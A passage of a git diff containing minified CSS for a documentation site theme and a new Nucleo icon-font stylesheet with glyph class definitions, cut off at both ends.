.3s}.scrollbar-inner .scroll-element .scroll-bar,.scrollbar-inner .scroll-element .scroll-element_track{transition:background-color .3s}.scrollbar-inner .scroll-element .scroll-element_track{background-color:transparent}.scrollbar-inner .scroll-element:hover{width:4px}.scrollbar-inner .scroll-element.scroll-y{right:0;width:3px}.scrollbar-inner .scroll-element.scroll-x{bottom:0;height:3px}.select2-selection__arrow{display:none}.select2.select2-container{width:100%!important}.select2-container .select2-selection--single,.select2-container--default .select2-search--dropdown .select2-search__field,.select2-container--default .select2-selection--multiple,.select2-container--default.select2-container--focus .select2-selection--multiple{font-size:1rem;line-height:1.5;display:block;width:100%;height:calc(1.5em + 1.25rem + 2px);padding:.625rem .75rem;transition:all .15s cubic-bezier(.68,-.55,.265,1.55);color:#8898aa;border:1px solid #dee2e6;border-radius:.25rem;background-color:#fff;background-clip:padding-box;box-shadow:0 3px 2px rgba(233,236,239,.05)}@media (prefers-reduced-motion:reduce){.select2-container .select2-selection--single,.select2-container--default .select2-search--dropdown .select2-search__field,.select2-container--default .select2-selection--multiple,.select2-container--default.select2-container--focus .select2-selection--multiple{transition:none}}.select2-container .select2-selection--single::-ms-expand,.select2-container--default .select2-search--dropdown .select2-search__field::-ms-expand,.select2-container--default .select2-selection--multiple::-ms-expand,.select2-container--default.select2-container--focus .select2-selection--multiple::-ms-expand{border:0;background-color:transparent}.select2-container .select2-selection--single:focus,.select2-container--default .select2-search--dropdown .select2-search__field:focus,.select2-container--default .select2-selection--multiple:focus,.select2-container--default.select2-container--focus .select2-selection--multiple:focus{color:#8898aa;border-color:#5e72e4;outline:0;background-color:#fff;box-shadow:0 3px 9px rgba(50,50,9,0),3px 4px 8px rgba(94,114,228,.1)}.select2-container .select2-selection--single::-ms-input-placeholder,.select2-container--default .select2-search--dropdown .select2-search__field::-ms-input-placeholder,.select2-container--default .select2-selection--multiple::-ms-input-placeholder,.select2-container--default.select2-container--focus .select2-selection--multiple::-ms-input-placeholder{opacity:1;color:#adb5bd}.select2-container .select2-selection--single::placeholder,.select2-container--default .select2-search--dropdown .select2-search__field::placeholder,.select2-container--default .select2-selection--multiple::placeholder,.select2-container--default.select2-container--focus .select2-selection--multiple::placeholder{opacity:1;color:#adb5bd}.select2-container .select2-selection--single:disabled,.select2-container .select2-selection--single[readonly],.select2-container--default .select2-search--dropdown .select2-search__field:disabled,.select2-container--default .select2-search--dropdown .select2-search__field[readonly],.select2-container--default .select2-selection--multiple:disabled,.select2-container--default .select2-selection--multiple[readonly],.select2-container--default.select2-container--focus .select2-selection--multiple:disabled,.select2-container--default.select2-container--focus .select2-selection--multiple[readonly]{opacity:1;background-color:#e9ecef}.select2-container .select2-selection--single .select2-selection__rendered{overflow:inherit;padding:0;white-space:inherit;text-overflow:inherit}.select2-container--default .select2-selection--single .select2-selection__rendered{line-height:inherit;color:inherit}.select2-dropdown{padding:.5rem 0;border:1px solid #dee2e6;border-radius:.4375rem;background-color:#fff}.select2-results__option{font-size:.875rem;padding:.5rem .75rem;color:#212529;background-color:#fff}.select2-results__option:focus,.select2-results__option:hover{text-decoration:none;color:#16181b;background-color:#f6f9fc}.select2-container--default .select2-results__option--highlighted[aria-selected],.select2-container--default .select2-results__option[aria-selected=true]{color:#16181b;background-color:transparent}.select2-container--default .select2-results__option[aria-disabled=true]{color:#8898aa}.select2-container--default .select2-selection--multiple,.select2-container--default.select2-container--focus .select2-selection--multiple{height:auto;min-height:calc(1.5em + 1.25rem + 2px)}.select2-container--default .select2-selection--multiple .select2-selection__rendered{display:block;margin:0 0 -.25rem -.25rem;padding:0}.select2-container--default .select2-selection--multiple .select2-selection__choice{font-size:.875rem;line-height:1.5rem;display:inline-flex;margin:0 0 .25rem .25rem;padding:0 .5rem;color:#8898aa;border:none;border-radius:.25rem;background-color:#adb5bd}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{margin-left:.5rem;color:#8898aa;order:2}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#525f7f}.select2-container .select2-search--inline{display:none}.select2-selection[aria-expanded=true]{border-bottom-right-radius:0!important;border-bottom-left-radius:0!important}.select2-search--dropdown{padding:.5rem .75rem}.select2-container--default .select2-search--dropdown .select2-search__field{font-size:.875rem;line-height:1.5;padding:.25rem .5rem;border-radius:.25rem}.form-control-sm+.select2-container .select2-selection--single,.form-control-sm+.select2-container--default .select2-selection--multiple,.form-control-sm+.select2-container--default.select2-container--focus .select2-selection--multiple{font-size:.875rem;line-height:1.5;height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;border-radius:.25rem}.form-control-sm+.select2-container--default .select2-selection--multiple,.form-control-sm+.select2-container--default.select2-container--focus .select2-selection--multiple{min-height:calc(1.5em + .5rem + 2px)}.form-control-sm+.select2-container--default .select2-selection--multiple .select2-selection__choice{line-height:1.3125rem}.form-control-lg+.select2-container .select2-selection--single,.form-control-lg+.select2-container--default .select2-selection--multiple,.form-control-lg+.select2-container--default.select2-container--focus .select2-selection--multiple{font-size:1.25rem;line-height:1.5;height:calc(1.5em + 1.75rem + 2px);padding:.875rem 1rem;border-radius:.4375rem}.form-control-lg+.select2-container--default .select2-selection--multiple,.form-control-lg+.select2-container--default.select2-container--focus .select2-selection--multiple{min-height:calc(1.5em + 1.75rem + 2px)}.form-control-lg+.select2-container--default .select2-selection--multiple .select2-selection__choice{line-height:1.875rem}.swal2-popup{padding:1.5rem}.swal2-popup .swal2-title{font-size:1.5rem}.swal2-popup .swal2-content{font-size:.875rem}.swal2-popup .swal2-image{max-width:200px}.ct-navbar{padding-top:.5rem;padding-bottom:.5rem;background-color:#5e72e4;box-shadow:rgba(116,129,141,.1) 0 1px 1px 0}@media (max-width:991.98px){.ct-navbar{padding-right:.5rem;padding-left:.5rem}.ct-navbar .navbar-nav-scroll{font-size:.875rem;overflow:hidden;max-width:100%;height:2.5rem;margin-top:.25rem}.ct-navbar .navbar-nav-scroll .navbar-nav{overflow-x:auto;padding-bottom:2rem;white-space:nowrap;-webkit-overflow-scrolling:touch}}@media (min-width:768px){@supports ((position:-webkit-sticky) or (position:sticky)){.ct-navbar{position:-webkit-sticky;position:sticky;z-index:1071;top:0}}}.ct-navbar .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem;color:rgba(255,255,255,.9)!important}.ct-navbar .navbar-nav .nav-link.active,.ct-navbar .navbar-nav .nav-link:hover{color:#fff!important;background-color:transparent!important}.ct-navbar .navbar-nav .nav-link.active{font-weight:500}.ct-navbar .navbar-nav-svg{display:inline-block;width:1rem;height:1rem;vertical-align:text-top}.ct-navbar .dropdown-menu{font-size:.875rem}.ct-navbar .dropdown-item.active{font-weight:500;padding-left:25px;color:#212529;background-color:transparent;background-image:url('data:image/svg+xml;charset=utf8,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 8 8\'%3E%3Cpath fill=\'%23292b2c\' d=\'M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z\'/%3E%3C/svg%3E');background-repeat:no-repeat;background-position:.4rem .87rem;background-size:.75rem .75rem}.github-corner{position:fixed;z-index:1080;right:0}.github-corner:hover .octo-arm{animation:octocat-wave 560ms ease-in-out}.github-corner svg{color:#5e72e4;fill:#fff}@keyframes octocat-wave{0%,100%{transform:rotate(0)}20%,60%{transform:rotate(-25deg)}40%,80%{transform:rotate(10deg)}}.ct-clipboard{position:relative;display:none;float:right}.ct-clipboard+.highlight{margin-top:0}.btn-clipboard{font-size:75%;position:absolute;z-index:10;top:1rem;right:1rem;display:block;padding:.25rem .5rem;cursor:pointer;color:#fff;border:0;border-radius:.25rem;background-color:transparent;background-color:#5e72e4}.btn-clipboard:hover{color:#fff;background-color:#324cdd}@media (min-width:768px){.ct-clipboard{display:block}}.ct-example-row .row>.col span,.ct-example-row .row>[class^=col-] span{font-size:.875rem;display:block;margin:1rem 0;padding:.75rem;color:#393f49;border-radius:.25rem;background-color:#fff;box-shadow:rgba(0,0,0,.1) 0 0 0 1px,rgba(0,0,0,.1) 0 4px 16px}.ct-example-row .no-gutters>.col span,.ct-example-row .no-gutters>[class^=col-] span{border-radius:0}.ct-example-row .flex-items-bottom,.ct-example-row .flex-items-middle,.ct-example-row .flex-items-top{min-height:6rem;background-color:rgba(255,0,0,.1)}.ct-example-row-flex-cols .row{min-height:10rem;background-color:rgba(255,0,0,.1)}.ct-example-row-flex-cols .row+.row{margin-top:1rem}.ct-highlight{border:1px solid rgba(94,114,228,.15);background-color:rgba(94,114,228,.15)}.example-container{width:800px;width:100%;margin-right:auto;margin-left:auto;padding-right:15px;padding-left:15px}.example-row{display:flex;margin-right:-15px;margin-left:-15px;flex-wrap:wrap}.example-content-main{position:relative;width:100%;padding-right:15px;padding-left:15px}@media (min-width:576px){.example-content-main{max-width:50%;flex:0 0 50%}}@media (min-width:992px){.example-content-main{max-width:66.66667%;flex:0 0 66.66667%}}.example-content-secondary{position:relative;width:100%;padding-right:15px;padding-left:15px}@media (min-width:576px){.example-content-secondary{max-width:50%;flex:0 0 50%}}@media (min-width:992px){.example-content-secondary{max-width:33.33333%;flex:0 0 33.33333%}}.ct-example-container{min-width:16rem;max-width:25rem;margin-right:auto;margin-left:auto}.ct-example-container-header{height:3rem;margin-bottom:.5rem;border-radius:.25rem;background-color:#fff}.ct-example-container-sidebar{float:right;width:4rem;height:8rem;border-radius:.25rem;background-color:#cbd2f6}.ct-example-container-body{height:8rem;margin-right:4.5rem;border-radius:.25rem;background-color:#cbd2f6}.ct-example-container-fluid{max-width:none}.ct-example{position:relative;margin:1rem -15px 0}.ct-example::after{display:block;clear:both;content:''}@media (min-width:576px){.ct-example{margin-right:0;margin-left:0}}.ct-example+.clipboard+.highlight,.ct-example+.highlight{margin-top:0}.ct-example+p{margin-top:2rem}.ct-example .pos-f-t{position:relative;margin:-1rem}@media (min-width:576px){.ct-example .pos-f-t{margin:-1.5rem}}.ct-example .custom-file-input:lang(es)~.custom-file-label::after{content:'Elegir'}.ct-example>.form-control+.form-control{margin-top:.5rem}.ct-example .badge,.ct-example .btn,.ct-example .form-control,.ct-example>.alert+.alert,.ct-example>.nav+.nav,.ct-example>.navbar+.navbar,.ct-example>.progress+.btn,.ct-example>.progress+.progress{margin-top:.5rem;margin-bottom:.5rem}.ct-example .input-group .btn,.ct-example .input-group .form-control{margin-top:0;margin-bottom:0}.ct-example .btn .badge{margin-top:0;margin-bottom:0}.ct-example .btn-group{margin-top:.5rem;margin-bottom:.5rem}.ct-example .btn-group .btn{margin:0}.ct-example .alert{margin:0}.ct-example .alert+.alert{margin-top:1.25rem}.ct-example>.dropdown-menu:first-child{position:static;display:block}.ct-example>.form-group:last-child{margin-bottom:0}.ct-example>.close{float:none}.ct-example-type .table .type-info{vertical-align:middle;color:#999}.ct-example-type .table td{padding:1rem 0;border-color:#eee}.ct-example-type .table tr:first-child td{border-top:0}.ct-example-type h1,.ct-example-type h2,.ct-example-type h3,.ct-example-type h4,.ct-example-type h5,.ct-example-type h6{margin-top:0;margin-bottom:0}.ct-example-bg-classes p{padding:1rem}.ct-example>img+img{margin-left:.5rem}.ct-example>.btn-group{margin-top:.25rem;margin-bottom:.25rem}.ct-example>.btn-toolbar+.btn-toolbar{margin-top:.5rem}.ct-example-control-sizing input[type=text]+input[type=text],.ct-example-control-sizing select{margin-top:.5rem}.ct-example-form .input-group{margin-bottom:.5rem}.ct-example>textarea.form-control{resize:vertical}.ct-example>.list-group{max-width:400px}.ct-example .fixed-top,.ct-example .sticky-top{position:static;margin:-1rem -1rem 1rem}.ct-example .fixed-bottom{position:static;margin:1rem -1rem -1rem}@media (min-width:576px){.ct-example .fixed-top,.ct-example .sticky-top{margin:-1.5rem -1.5rem 1rem}.ct-example .fixed-bottom{margin:1rem -1.5rem -1.5rem}}.ct-example .pagination{margin-top:.5rem;margin-bottom:.5rem}.modal{z-index:1072}.modal .popover,.modal .tooltip{z-index:1073}.modal-backdrop{z-index:1071}.ct-example-modal{background-color:#fafafa}.ct-example-modal .modal{position:relative;z-index:1;top:auto;right:auto;bottom:auto;left:auto;display:block}.ct-example-modal .modal-dialog{left:auto;margin-right:auto;margin-left:auto}.ct-example-tabs .nav-tabs{margin-bottom:1rem}.ct-example-popover-static{padding-bottom:1.5rem;background-color:#f9f9f9}.ct-example-popover-static .popover{position:relative;display:block;float:left;width:260px;margin:1.25rem}.tooltip-demo a{white-space:nowrap}.ct-example-tooltip-static .tooltip{position:relative;display:inline-block;margin:10px 20px;opacity:1}.scrollspy-example{position:relative;overflow:auto;height:200px;margin-top:.5rem}.scrollspy-example-2{position:relative;overflow:auto;height:350px}.ct-example-border-utils [class^=border]{display:inline-block;width:5rem;height:5rem;margin:.25rem;background-color:#f5f5f5}.ct-example-border-utils-0 [class^=border]{border:1px solid #e9ecef}.highlight{margin-top:1rem;padding:0;-ms-overflow-style:-ms-autohiding-scrollbar}@media (min-width:576px){.highlight{padding:0}}.ct-content .highlight{margin-right:-15px;margin-left:-15px}@media (min-width:576px){.ct-content .highlight{margin-right:0;margin-left:0}}.ct-example:not(:last-child){margin-bottom:2rem;padding-bottom:2rem;border-bottom:1px solid #e9ecef}.ct-example .tab-content .tab-example-result{padding:1.25rem;border:1px solid #e6ecf1;border-radius:.25rem;background-color:#fff}.ct-example .nav-tabs-code{margin-bottom:.375rem}.ct-example .nav-tabs-code .nav-link{font-size:.875rem}.ct-example .nav-tabs-code .nav-link.active,.ct-example .nav-tabs-code .nav-link:active{color:#5e72e4}.icon-examples{margin-top:1rem}.btn-icon-clipboard{font-family:inherit;font-size:16px;font-weight:400;line-height:1.25;display:inline-block;width:100%;margin:0;margin:.5rem 0;padding:24px;cursor:pointer;text-align:left;vertical-align:middle;text-decoration:none;color:#393f49;border:0 none;border-radius:4px;background-color:#f8f9fa;-moz-appearance:none}.btn-icon-clipboard:hover{background-color:#fff;box-shadow:rgba(0,0,0,.1) 0 0 0 1px,rgba(0,0,0,.1) 0 4px 16px}.btn-icon-clipboard>div{display:flex;align-items:center}.btn-icon-clipboard i{font-size:1.5rem;box-sizing:content-box;vertical-align:middle;color:#393f49}.btn-icon-clipboard span{font-size:.875rem;line-height:1.5;display:inline-block;overflow:hidden;margin-left:16px;vertical-align:middle;white-space:nowrap;text-overflow:ellipsis;color:#393f49}code[class*=language-],pre[class*=language-]{font-family:Consolas,Menlo,Monaco,'Andale Mono WT','Andale Mono','Lucida Console','Lucida Sans Typewriter','DejaVu Sans Mono','Bitstream Vera Sans Mono','Liberation Mono','Nimbus Mono L','Courier New',Courier,monospace;font-size:14px;line-height:1.375;text-align:left;white-space:pre;word-spacing:normal;word-break:normal;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-hyphens:none;hyphens:none;color:#5e6687;border-radius:.25rem;background:#f5f7ff;direction:ltr;-ms-hyphens:none}code[class*=language-] ::selection,code[class*=language-]::selection,pre[class*=language-] ::selection,pre[class*=language-]::selection{background:#dfe2f1;text-shadow:none}pre[class*=language-]{overflow:auto;margin:0;padding:1.25rem}:not(pre)>code[class*=language-]{padding:.1em;border-radius:.3em}.token.cdata,.token.comment,.token.doctype,.token.prolog{color:#898ea4}.token.punctuation{color:#5e6687}.token.namespace{opacity:.7}.token.boolean,.token.number,.token.operator{color:#c76b29}.token.property{color:#c08b30}.token.tag{color:#3d8fd1}.token.string{color:#22a2c9}.token.selector{color:#6679cc}.token.attr-name{color:#c76b29}.language-css .token.string,.style .token.string,.token.entity,.token.url{color:#22a2c9}.token.attr-value,.token.control,.token.directive,.token.keyword,.token.unit{color:#ac9739}.token.atrule,.token.regex,.token.statement{color:#22a2c9}.token.placeholder,.token.variable{color:#3d8fd1}.token.deleted{text-decoration:line-through}.token.inserted{text-decoration:none;border-bottom:1px dotted #202746}.token.italic{font-style:italic}.token.bold,.token.important{font-weight:700}.token.important{color:#c94922}.token.entity{cursor:help}pre>code.highlight{outline:.4em solid #c94922;outline-offset:.4em}.line-numbers .line-numbers-rows{border-right-color:#dfe2f1}.line-numbers-rows>span:before{color:#979db4}.line-highlight{background:rgba(107,115,148,.2);background:linear-gradient(to right,rgba(107,115,148,.2) 70%,rgba(107,115,148,0))}.docs{background:#fff}.docs h6{font-size:1rem;font-weight:600}.ct-content{order:1}.ct-content>h2[id],.ct-content>h3[id],.ct-content>h4[id]{pointer-events:none}.ct-content>h2[id]>a,.ct-content>h2[id]>div,.ct-content>h3[id]>a,.ct-content>h3[id]>div,.ct-content>h4[id]>a,.ct-content>h4[id]>div{pointer-events:auto}.ct-content>h2[id]::before,.ct-content>h3[id]::before,.ct-content>h4[id]::before{display:block;visibility:hidden;height:6rem;margin-top:-6rem;content:''}.ct-content>table{width:100%;max-width:100%;margin-bottom:1rem}@media (max-width:991.98px){.ct-content>table{display:block;overflow-x:auto;-ms-overflow-style:-ms-autohiding-scrollbar}.ct-content>table.table-bordered{border:0}}.ct-content>table>tbody>tr>td,.ct-content>table>tbody>tr>th,.ct-content>table>tfoot>tr>td,.ct-content>table>tfoot>tr>th,.ct-content>table>thead>tr>td,.ct-content>table>thead>tr>th{padding:1rem;vertical-align:top;border:1px solid #e9ecef}.ct-content>table>tbody>tr>td>p:last-child,.ct-content>table>tbody>tr>th>p:last-child,.ct-content>table>tfoot>tr>td>p:last-child,.ct-content>table>tfoot>tr>th>p:last-child,.ct-content>table>thead>tr>td>p:last-child,.ct-content>table>thead>tr>th>p:last-child{margin-bottom:0}.ct-content>table td:first-child>code{white-space:nowrap}.ct-content>h2:not(:first-child){font-size:1.5rem;font-weight:600;margin-top:3rem}.ct-content>h3{font-size:1.25rem;font-weight:600;margin-top:2.5rem}.ct-content>ol li,.ct-content>ul li{margin-bottom:.25rem}@media (min-width:992px){.ct-content>ol,.ct-content>p,.ct-content>ul{max-width:80%}}.ct-page-title{margin-bottom:1.5rem;padding-left:1.25rem;border-left:2px solid #5e72e4}.ct-title{font-weight:300;margin-top:1rem;margin-bottom:.5rem}@media (min-width:576px){.ct-title{font-size:1.5rem;font-weight:600}}.ct-lead{font-weight:500;color:#3b454e}@media (min-width:576px){.ct-lead{font-size:.875rem;max-width:80%;margin-bottom:1rem}}.ct-text-purple{color:#5e72e4}.ct-text-purple-bright{color:#9da9f2}.ct-tabs-example .nav-link i{margin-right:5px}.color-swatch{margin:1rem 0;border-radius:.25rem;background-color:#f4f5f7}.color-swatch:after{display:table;clear:both;content:' '}.color-swatch-header{position:relative;height:0;padding-bottom:50%;border:1px solid transparent;border-radius:.25rem .25rem 0 0}.color-swatch-header.is-light{border-color:#c1c7d0}.color-swatch-header .pass-fail{position:absolute;bottom:0;width:100%}.color-swatch-header .pass-fail-item-wrap{position:relative;left:50%;float:left;transform:translateX(-50%)}.color-swatch-header .pass-fail-item-group{display:inline-block;padding:0 5px}.color-swatch-header .pass-fail-item{display:inline-block;float:left;padding:2px;text-align:center}.color-swatch-header .pass-fail-item.white .example{color:#fff}.color-swatch-header .pass-fail-item.small .example{font-size:10px}.color-swatch-header .pass-fail-item .lozenge{font-size:11px;font-weight:600;line-height:10px;padding:2px 4px;letter-spacing:.05em;text-transform:uppercase;color:#fff;border-radius:4px;background:#000}.color-swatch-body{position:relative;left:50%;float:left;padding:10px 0;transform:translateX(-50%)}.color-swatch-body .prop-item-wrap{float:left;min-width:65px;padding:0 15px}.color-swatch-body .prop-item{padding:15px 0}.color-swatch-body .prop-item .label{font-size:11px;line-height:16px;text-transform:uppercase;color:#62748c}.color-swatch-body .prop-item .value{font-size:14px}.table-colors{font-size:16px;font-weight:600;width:100%}.table-colors td,.table-colors td:first-child,.table-colors td:last-child,.table-colors:first-child td,.table-colors:first-child td:first-child,.table-colors:first-child td:last-child{padding:10px;border-bottom:1px solid rgba(0,0,0,.1);background:rgba(255,255,255,.9)}.table-colors tr:last-child td,.table-colors:first-child tr:last-child td{border-bottom:none}.table-colors td:nth-child(1),.table-colors:first-child td:nth-child(1){line-height:40px}.table-colors .swatch,.table-colors:first-child .swatch{display:inline-block;float:left;width:40px;height:40px;margin-right:20px;border:1px solid transparent;border-radius:4px}.table-colors .swatch.is-light,.table-colors:first-child .swatch.is-light{border-color:#c1c7d0}.table-colors .lozenge,.table-colors:first-child .lozenge{font-size:10px;font-weight:600;line-height:10px;display:inline-block;float:left;margin:5px 10px 0 0;padding:2px 4px;letter-spacing:.05em;text-transform:uppercase;color:#042a53;border-radius:4px;background:#97a0af}.ct-toc{font-size:.875rem;padding-top:2rem;padding-bottom:1.5rem;order:2}@supports ((position:-webkit-sticky) or (position:sticky)){.ct-toc{position:-webkit-sticky;position:sticky;top:4rem;overflow-y:auto;height:calc(100vh - 4rem)}}.section-nav{padding-left:0;border-left:1px solid #eee}.section-nav ul{padding-left:1rem}.section-nav ul ul{display:none}.toc-entry{font-size:1rem;display:block}.toc-entry a{font-size:90%;display:block;padding:.125rem 1.5rem;color:#99979c}.toc-entry a:hover{text-decoration:none;color:#5e72e4}.ct-sidebar{border-bottom:1px solid #e6ecf1;background-color:#f5f7f9;order:0}@media (min-width:768px){.ct-sidebar{border-right:1px solid #e6ecf1}@supports ((position:-webkit-sticky) or (position:sticky)){.ct-sidebar{position:-webkit-sticky;position:sticky;z-index:1000;top:4rem;height:calc(100vh - 4rem)}}}@media (min-width:1200px){.ct-sidebar{flex:0 1 320px}}.ct-links{margin-right:-15px;margin-left:-15px;padding-top:2rem;padding-bottom:1rem}@media (min-width:768px){@supports ((position:-webkit-sticky) or (position:sticky)){.ct-links{overflow-y:auto;max-height:calc(100vh - 5rem)}}}@media (min-width:768px){.ct-links{display:block!important}}.ct-search{position:relative;margin-right:-15px;margin-left:-15px;padding:1rem 15px;border-bottom:1px solid rgba(0,0,0,.05)}.ct-search .form-control:focus{border-color:#9da9f2;box-shadow:0 0 0 3px rgba(157,169,242,.25)}.ct-search-docs-toggle{line-height:1;color:#212529}.ct-sidenav{display:none}.ct-toc-link{font-size:.875rem;font-weight:600;display:block;padding:.25rem 1.5rem;color:#0d2b3e}.ct-toc-link:hover{text-decoration:none;color:rgba(0,0,0,.85)}.ct-toc-item.active{margin-bottom:1rem}.ct-toc-item.active:not(:first-child){margin-top:1rem}.ct-toc-item.active>.ct-toc-link{color:rgba(0,0,0,.85)}.ct-toc-item.active>.ct-toc-link:hover{background-color:transparent}.ct-toc-item.active>.ct-sidenav{display:block}.ct-sidebar .nav>li>a{font-size:84%;display:block;padding:.25rem 1.5rem;color:#4c555a}.ct-sidebar .nav>li>a:hover{text-decoration:none;color:rgba(0,0,0,.85);background-color:transparent}.ct-sidebar .nav>.active>a{font-weight:500;position:relative;padding-left:2rem;color:#0099e5;background-color:transparent}.ct-sidebar .nav>.active>a:before{position:absolute;top:50%;left:1.5rem;width:2px;height:16px;content:'';transform:translateY(-50%);background-color:#0099e5}.ct-sidebar .nav>.active:hover>a{color:#0099e5}.scrollbar-inner{height:100%}.scrollbar-inner:not(:hover) .scroll-element{opacity:0}.scrollbar-inner .scroll-element{margin-right:2px;transition:opacity .3s}.scrollbar-inner .scroll-element .scroll-bar,.scrollbar-inner .scroll-element .scroll-element_track{transition:background-color .3s}.scrollbar-inner .scroll-element .scroll-element_track{background-color:transparent}.scrollbar-inner .scroll-element.scroll-y{right:0;width:3px}.scrollbar-inner .scroll-element.scroll-x{bottom:0;height:3px}.ct-footer{font-size:85%;text-align:center;background-color:#f7f7f7}.ct-footer a{font-weight:500;color:#525f7f}.ct-footer a:focus,.ct-footer a:hover{color:#5e72e4}.ct-footer p{margin-bottom:0}@media (min-width:576px){.ct-footer{text-align:left}}.ct-footer-links{margin-bottom:1rem;padding-left:0}.ct-footer-links li{display:inline-block}.ct-footer-links li+li{margin-left:1rem}@keyframes gradientBackground{0%{background-position:left;}100%{background-position:right;}} \ No newline at end of file diff --git a/template/index4/assets/css/nucleo.css b/template/index4/assets/css/nucleo.css new file mode 100644 index 0000000..f95f46d --- /dev/null +++ b/template/index4/assets/css/nucleo.css @@ -0,0 +1 @@ +@font-face{font-family:'NucleoIcons';src:url('../fonts/nucleo-icons.eot');src:url('../fonts/nucleo-icons.eot') format('embedded-opentype'),url('../fonts/nucleo-icons.woff2') format('woff2'),url('../fonts/nucleo-icons.woff') format('woff'),url('../fonts/nucleo-icons.ttf') format('truetype'),url('../fonts/nucleo-icons.svg') format('svg');font-weight:normal;font-style:normal;}.ni{display:inline-block;font:normal normal normal 14px/1 NucleoIcons;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}.ni-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%;}.ni-2x{font-size:2em;}.ni-3x{font-size:3em;}.ni-4x{font-size:4em;}.ni-5x{font-size:5em;}.ni.square,.ni.circle{padding:.33333333em;vertical-align:-16%;background-color:#eee;}.ni.circle{border-radius:50%;}.ni-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none;}.ni-ul>li{position:relative;}.ni-ul>li>.ni{position:absolute;left:-1.57142857em;top:.14285714em;text-align:center;}.ni-ul>li>.ni.lg{top:0;left:-1.35714286em;}.ni-ul>li>.ni.circle,.ni-ul>li>.ni.square{top:-0.19047619em;left:-1.9047619em;}.ni.spin{-webkit-animation:nc-spin 2s infinite linear;-moz-animation:nc-spin 2s infinite linear;animation:nc-spin 2s infinite linear;}@-webkit-keyframes nc-spin{0%{-webkit-transform:rotate(0deg);}100%{-webkit-transform:rotate(360deg);}}@-moz-keyframes nc-spin{0%{-moz-transform:rotate(0deg);}100%{-moz-transform:rotate(360deg);}}@keyframes nc-spin{0%{-webkit-transform:rotate(0deg);-moz-transform:rotate(0deg);-ms-transform:rotate(0deg);-o-transform:rotate(0deg);transform:rotate(0deg);}100%{-webkit-transform:rotate(360deg);-moz-transform:rotate(360deg);-ms-transform:rotate(360deg);-o-transform:rotate(360deg);transform:rotate(360deg);}}.ni.rotate-90{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);-o-transform:rotate(90deg);transform:rotate(90deg);}.ni.rotate-180{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-ms-transform:rotate(180deg);-o-transform:rotate(180deg);transform:rotate(180deg);}.ni.rotate-270{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);-webkit-transform:rotate(270deg);-moz-transform:rotate(270deg);-ms-transform:rotate(270deg);-o-transform:rotate(270deg);transform:rotate(270deg);}.ni.flip-y{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=0);-webkit-transform:scale(-1,1);-moz-transform:scale(-1,1);-ms-transform:scale(-1,1);-o-transform:scale(-1,1);transform:scale(-1,1);}.ni.flip-x{filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);-webkit-transform:scale(1,-1);-moz-transform:scale(1,-1);-ms-transform:scale(1,-1);-o-transform:scale(1,-1);transform:scale(1,-1);}.ni-active-40::before{content:"\ea02";}.ni-air-baloon::before{content:"\ea03";}.ni-album-2::before{content:"\ea04";}.ni-align-center::before{content:"\ea05";}.ni-align-left-2::before{content:"\ea06";}.ni-ambulance::before{content:"\ea07";}.ni-app::before{content:"\ea08";}.ni-archive-2::before{content:"\ea09";}.ni-atom::before{content:"\ea0a";}.ni-badge::before{content:"\ea0b";}.ni-bag-17::before{content:"\ea0c";}.ni-basket::before{content:"\ea0d";}.ni-bell-55::before{content:"\ea0e";}.ni-bold-down::before{content:"\ea0f";}.ni-bold-left::before{content:"\ea10";}.ni-bold-right::before{content:"\ea11";}.ni-bold-up::before{content:"\ea12";}.ni-bold::before{content:"\ea13";}.ni-book-bookmark::before{content:"\ea14";}.ni-books::before{content:"\ea15";}.ni-box-2::before{content:"\ea16";}.ni-briefcase-24::before{content:"\ea17";}.ni-building::before{content:"\ea18";}.ni-bulb-61::before{content:"\ea19";}.ni-bullet-list-67::before{content:"\ea1a";}.ni-bus-front-12::before{content:"\ea1b";}.ni-button-pause::before{content:"\ea1c";}.ni-button-play::before{content:"\ea1d";}.ni-button-power::before{content:"\ea1e";}.ni-calendar-grid-58::before{content:"\ea1f";}.ni-camera-compact::before{content:"\ea20";}.ni-caps-small::before{content:"\ea21";}.ni-cart::before{content:"\ea22";}.ni-chart-bar-32::before{content:"\ea23";}.ni-chart-pie-35::before{content:"\ea24";}.ni-chat-round::before{content:"\ea25";}.ni-check-bold::before{content:"\ea26";}.ni-circle-08::before{content:"\ea27";}.ni-cloud-download-95::before{content:"\ea28";}.ni-cloud-upload-96::before{content:"\ea29";}.ni-compass-04::before{content:"\ea2a";}.ni-controller::before{content:"\ea2b";}.ni-credit-card::before{content:"\ea2c";}.ni-curved-next::before{content:"\ea2d";}.ni-delivery-fast::before{content:"\ea2e";}.ni-diamond::before{content:"\ea2f";}.ni-email-83::before{content:"\ea30";}.ni-fat-add::before{content:"\ea31";}.ni-fat-delete::before{content:"\ea32";}.ni-fat-remove::before{content:"\ea33";}.ni-favourite-28::before{content:"\ea34";}.ni-folder-17::before{content:"\ea35";}.ni-glasses-2::before{content:"\ea36";}.ni-hat-3::before{content:"\ea37";}.ni-headphones::before{content:"\ea38";}.ni-html5::before{content:"\ea39";}.ni-istanbul::before{content:"\ea3a";}.ni-key-25::before{content:"\ea3b";}.ni-laptop::before{content:"\ea3c";}.ni-like-2::before{content:"\ea3d";}.ni-lock-circle-open::before{content:"\ea3e";}.ni-map-big::before{content:"\ea3f";}.ni-mobile-button::before{content:"\ea40";}.ni-money-coins::before{content:"\ea41";}.ni-note-03::before{content:"\ea42";}.ni-notification-70::before{content:"\ea43";}.ni-palette::before{content:"\ea44";}.ni-paper-diploma